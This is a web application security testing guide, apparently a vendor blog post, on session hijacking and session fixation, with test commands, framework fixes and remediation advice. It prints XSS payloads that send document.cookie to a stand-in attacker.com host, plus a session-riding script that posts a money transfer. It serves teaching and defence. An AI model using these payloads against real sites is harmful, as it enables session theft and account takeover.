Session Fixation and Session Hijacking: Testing Guide for Web Applications
Sessions are the mechanism web applications use to maintain authenticated state across stateless HTTP. A session token is issued at login, stored in a cookie or URL parameter, and presented with every subsequent request. The application trusts whoever presents a valid token. That trust relationship is exactly what session attacks exploit.
Session hijacking — stealing or predicting a valid session token to impersonate a user — and session fixation — forcing a victim to use a token the attacker controls before authentication — are distinct techniques with different attack vectors and different detection methods. Understanding both is essential for any comprehensive authentication test.
Session Hijacking: Stealing Tokens in Transit or at Rest
Session hijacking requires the attacker to obtain a victim's session token. There are several paths to that token:
1. Cookie Theft via Cross-Site Scripting
XSS is the most reliable session hijacking vector. If an attacker can execute JavaScript in the victim's browser, they can read session cookies (unless the HttpOnly flag is set) and exfiltrate them:
<!-- Classic cookie exfiltration via XSS -->
<script>
new Image().src = "https://attacker.com/steal?c=" + document.cookie;
</script>
<!-- Alternative using fetch -->
<script>
fetch("https://attacker.com/steal", {
method: "POST",
body: document.cookie
});
</script>
The HttpOnly cookie flag prevents JavaScript access to the cookie. It doesn't prevent all session theft — an attacker can still make requests using the victim's session if they can execute JavaScript in the origin — but it does stop the direct cookie read.
2. Network Interception
On networks without TLS, session tokens in HTTP requests are visible to any observer on the path. This is now rare in production applications but persists in internal applications, staging environments, and HTTP-accessible admin panels.
Test conditions that expose sessions over HTTP:
- Mixed content: HTTPS main site, HTTP API or static asset calls that include session cookies
- Secure flag absent: session cookie transmitted over HTTP when the site is accessible via HTTP redirect
- HTTP admin interface on the same domain as the HTTPS application
3. Predictable Session Tokens
Weak random number generators or deterministic token generation can make session tokens predictable. This is largely a solved problem in modern frameworks, but custom session implementations still appear in legacy applications.
# Collect session tokens and analyze entropy
# Token analysis with OWASP's Burp Suite Session Analyzer
# Or manually: collect 50+ tokens and look for patterns
# Low-entropy indicators:
# - Sequential numbers (session=1000, session=1001)
# - Timestamps embedded in tokens
# - User ID concatenated with weak entropy
# - Base64-encoded predictable values
# Example: token "dXNlcklkPTEyMzQ=" decodes to "userId=1234"
echo "dXNlcklkPTEyMzQ=" | base64 -d
# Output: userId=1234
4. Session Token in URL
When session tokens appear in URLs (https://app.example.com/dashboard?sessionId=abc123), they leak through browser history, server access logs, Referer headers, and any analytics or third-party script that reads document.location.
# Check for session tokens in URLs
# Look for patterns like:
# ?sid=, ?session=, ?token=, ?auth=, ;jsessionid=, ;PHPSESSID=
# Java legacy apps still frequently use URL rewriting:
# https://app.example.com/page;jsessionid=ABC123DEF456GHI789JKL012
# Test: click a link from the application to an external site.
# Does the Referer header reveal the session token?
Session Fixation: Controlling the Token Before Authentication
Session fixation is subtler than direct theft. The attack works in three steps:
- The attacker obtains a pre-authentication session token from the application (many applications issue sessions to anonymous visitors)
- The attacker tricks the victim into using that specific token (via a crafted link, a cookie injection, or an XSS payload)
- The victim authenticates. The application upgrades the session's privilege level but keeps the same token ID
- The attacker, who already knows the token, now has an authenticated session
The critical vulnerability is step 3: the application does not regenerate the session token on login. This is the test to run.
Testing for Session Fixation
# Manual test procedure:
# 1. Visit the login page without logging in — note the session cookie value
# 2. Log in with valid credentials
# 3. Compare the session cookie before and after login
# If the token is the same before and after authentication:
# → The application is vulnerable to session fixation
# Using curl to capture session tokens:
curl -c before-login.txt https://app.example.com/login
# Log in manually or via curl -d 'username=...&password=...'
curl -b before-login.txt -c after-login.txt -d 'username=user&password=pass' \
https://app.example.com/login
# Compare:
grep -i session before-login.txt
grep -i session after-login.txt
The fix is straightforward: the session token must be regenerated immediately after successful authentication. Every major web framework provides this:
# PHP
session_regenerate_id(true); // true = delete old session
# Python/Flask
# Flask-Login does this automatically; if using raw sessions:
session.clear()
session['user_id'] = user.id # new session token auto-generated
# Node.js/Express with express-session
req.session.regenerate(function(err) {
req.session.user = authenticatedUser;
});
# Java/Spring Security
# Set invalidate-session=true in the session management config
# Spring Security does this by default
URL-Based Session Fixation
Applications that accept session tokens in URL parameters are vulnerable to a specific fixation variant where the attacker crafts a link with a known token:
# Attacker sends victim this link:
https://app.example.com/login?PHPSESSID=ATTACKER_CONTROLLED_TOKEN
# If the application accepts the session ID from the URL and doesn't
# regenerate on login, the attacker already knows the authenticated token
Test by manually setting a session token via URL parameter before logging in, then checking if the application accepted and used that token post-authentication.
Testing Session Token Security Properties
Cookie Flags Checklist
Every session cookie should have these flags set. Testing is straightforward — inspect the Set-Cookie response header after login:
# Ideal session cookie header:
Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
# Test via curl:
curl -v -d 'username=user&password=pass' https://app.example.com/login 2>&1 | grep -i set-cookie
| Flag | Purpose | Risk if missing |
|---|---|---|
Secure |
Cookie only sent over HTTPS | Token transmitted in cleartext over HTTP |
HttpOnly |
Cookie inaccessible to JavaScript | XSS can steal the token via document.cookie |
SameSite=Strict |
Cookie not sent in cross-origin requests | Enables CSRF and XSSI attacks |
Appropriate Path |
Scope cookie to application path | Cookie sent to unrelated paths on the same domain |
Appropriate Domain |
Limit cookie scope to correct subdomain | Cookie accessible to sibling subdomains |
Session Timeout and Invalidation
A complete session test covers not just how sessions are issued but how they expire:
# Test 1: Absolute timeout
# Record a session token at T=0, use it 4 hours later — is it still valid?
# Test 2: Idle timeout
# Record a session token, wait 30 minutes without activity — is it still valid?
# Test 3: Logout invalidation
# Log in, capture the session token, log out, try the token again — is it rejected?
curl -b "session=CAPTURED_TOKEN" https://app.example.com/api/profile
# Test 4: Concurrent sessions
# Log in from two different browsers simultaneously — are both sessions valid?
# This is policy-dependent but should be documented
# Test 5: Password change invalidation
# Log in, change password, use old session token — is it invalidated?
Logout that doesn't server-side invalidate the session token is a common defect. If the token remains valid after the user clicks "Log Out," an attacker who obtained the token through any means retains access indefinitely.
Session Token Entropy Analysis
# Collect multiple session tokens and check for patterns
# A minimum of 128 bits of entropy is recommended (OWASP)
# Check token length — too short means insufficient entropy
echo -n "abc123" | wc -c # 6 characters = weak
# For hex tokens, length in bytes = length/2
# 32 hex chars = 16 bytes = 128 bits — minimum acceptable
# 64 hex chars = 32 bytes = 256 bits — good
# Check for predictability:
# Look at 20+ sequential tokens from different sessions
# If tokens share prefixes, have patterns, or increment sequentially → vulnerable
# Use Burp Suite's Sequencer to statistically analyze token entropy
Session Riding via XSS (Combined Attack)
When HttpOnly is set, direct cookie theft via XSS is blocked — but session riding isn't. An XSS payload can make authenticated requests on the victim's behalf using the browser's session without ever reading the cookie value:
<script>
// Fetch CSRF token from a protected endpoint
fetch('/api/csrf-token', {credentials: 'include'})
.then(r => r.text())
.then(csrf => {
// Use the CSRF token to make an authenticated action
return fetch('/api/transfer', {
method: 'POST',
credentials: 'include',
headers: {'X-CSRF-Token': csrf, 'Content-Type': 'application/json'},
body: JSON.stringify({to: 'attacker', amount: 1000})
});
});
</script>
This is why XSS prevention is the primary defense against session compromise — even HttpOnly tokens are vulnerable to account takeover if XSS is present.
Remediation Summary
- Regenerate session tokens on login. Call the framework's session regeneration function immediately after successful authentication. This is the fix for session fixation.
- Set
HttpOnly,Secure, andSameSiteflags on session cookies. These three flags together close the most common theft vectors. - Invalidate sessions server-side on logout. Deleting the client-side cookie is not sufficient — the token must be removed from the server's session store.
- Implement idle and absolute timeouts. Sessions should expire after inactivity (15-30 minutes for sensitive applications) and have an absolute maximum lifetime.
- Never put session tokens in URLs. Use cookies. Configure the framework to disable URL-based session fallback.
- Use cryptographically secure random tokens. Modern frameworks handle this by default; custom implementations must use
crypto.randomBytes(),secrets.token_bytes(), or equivalent — neverMath.random(). - Bind sessions to IP or User-Agent cautiously. IP binding breaks legitimate users behind rotating NATs and mobile networks. Soft binding (flag suspicious changes but don't immediately invalidate) is more practical.
How Ironimo Tests Session Security
Ironimo's session security checks cover the full lifecycle: cookie flag analysis on login responses, session token entropy assessment, logout invalidation verification, and session fixation detection. The fixation test specifically checks whether the session token changes after successful authentication — the single most common session management defect in custom-built applications.
Session management defects are invisible until they're exploited. Ironimo's authentication testing module checks token generation, cookie flags, fixation vulnerability, and logout behavior as part of every scan.
Start free scan